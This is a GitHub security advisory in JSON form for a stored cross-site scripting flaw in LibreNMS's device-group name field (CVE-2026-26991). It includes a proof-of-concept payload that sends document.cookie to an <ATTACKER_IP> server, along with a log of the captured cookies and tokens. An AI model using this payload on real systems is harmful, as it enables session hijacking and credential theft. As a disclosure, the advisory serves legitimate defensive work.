{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "librenms/librenms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26991"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-18T22:07:19Z",
    "nvd_published_at": "2026-02-20T03:15:59Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n**/device-groups name Stored Cross-Site Scripting**\n- HTTP POST\n- Request-URI(s): \"/device-groups\"\n- Vulnerable parameter(s): \"name\"\n- Attacker must be authenticated with \"admin\" privileges.\n- When a user adds a device group, an HTTP POST request is sent to the Request-URI \"/device-groups\". The name of the newly created device group is stored in the value of the name parameter.\n- After the device group is created, the entry is displayed along with some relevant buttons like Rediscover Devices, Edit, and Delete.\n\n### Details\nThe vulnerability exists as the name of the device group is not sanitized of HTML/JavaScript-related characters\nor strings. When the delete button is rendered, the following template is used to render the page:\n\n_resources/views/device-group/index.blade.php:_\n```\n@section(\u0027title\u0027, __(\u0027Device Groups\u0027))\n@section(\u0027content\u0027)\n\u003cdiv class=\"container-fluid\"\u003e\n\u003cx-panel id=\"manage-device-groups-panel\"\u003e\n// [...Truncated...]\n@foreach($device_groups as $device_group)\n// [...Truncated...]\n\n\u003cbutton type=\"button\" class=\"btn btn-danger btn-\nsm\" title=\"{{ __(\u0027delete Device Group\u0027) }}\" aria-label=\"{{ __(\u0027Delete\u0027) }}\"\nonclick=\"delete_dg(this, \u0027{{$device_group-\u003ename }}\u0027, \u0027{{ route(\u0027device-groups.destroy\u0027, $device_group-\u003eid)\n}}\u0027)\"\u003e // using the device\u0027s name in the Delete button functionality without\nsanitizing for XSS related characters/strings\n```\n\nAs the device\u0027s name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored\ncross-site scripting.\n\n### PoC\n- Login\n- Select Devices \u003e Manage Groups\n- Select New Device Group\n- Input 12345\u0027);var pt=new Image();pt.src=\u0027http://\u003cATTACKER_IP\u003e/cookie-\n- \u0027.concat(document.cookie);document.body.appendChild(pt);delete_dg(this, \u002712345 into\n- the \"Name\" input box (change \u003cATTACKER_IP\u003e to be an the IP of an attacker controlled webserver)\n- Select \"access_points.accesspoint_id\" as the Conditional input\n- Input 1 into the Conditional value input box\n- Select Save\n- Select the Delete Icon for the newly created Device Group\n- Select OK\n- The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled\n- server, leaking the user\u0027s cookies.\n\n### Impact\nAttacker Controlled server\u0027s logs:\n```\n192.168.1.96 - - [10/Feb/2026:13:32:25 -0600] \"GET /cookie-\njqCookieJar_options=%7B%7D;%20SWIFT_cookieconsent=dismiss;%20CookieAuth=%5B%22emai\n\nl%40email.c.com%22%2C%22%242y%2410%24zI.%5C%2F5BHghPssddSOjH6.Eek%5C%2F0hQNm8DewYh\n\nLnQxXHlpw3abw4C74y%22%5D;%20XSRF-\nTOKEN=eyJpdiI6InkrSlpHNFZ3TjRXbXl5clQ2ZVBHOFE9PSIsInZhbHVlIjoiZTROUHRCcGhYRGU4dVJL\n\nZ2RUUTZ5VXlGZElMNjZoT0E2cGRNZzVDRmtVWTg5YTBGNzdpTU83YU1EZ3E3Tk1BTm5tNjYxTExUV1Z0Mj\nBLNUlqOVl4MlpGL21xdHh3MUJwYm1zT1RaQXJwR0w5YmVXTkdKQWNXUkNvL1J2SzVtcWMiLCJtYWMiOiI0\nZTc4YjVmMjhiYjc3YTA2MDI5NjJkOTgzMTJlYmVkNGVhOTg0ZjE4ZjRlMzY1NmFlMjNiNmUyNzhlN2QwOG\nI4IiwidGFnIjoiIn0%3D HTTP/1.1\" 404 492 \"http://192.168.1.121/\" \"Mozilla/5.0\n(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)\nChrome/144.0.0.0 Safari/537.36\"\n```",
  "id": "GHSA-5pqf-54qp-32wx",
  "modified": "2026-02-20T16:51:51Z",
  "published": "2026-02-18T22:07:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/security/advisories/GHSA-5pqf-54qp-32wx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26991"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/pull/19041"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/commit/64b31da444369213eb4559ec1c304ebfaa0ba12c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/librenms/librenms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/releases/tag/26.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "LibreNMS /device-groups name Stored Cross-Site Scripting"
}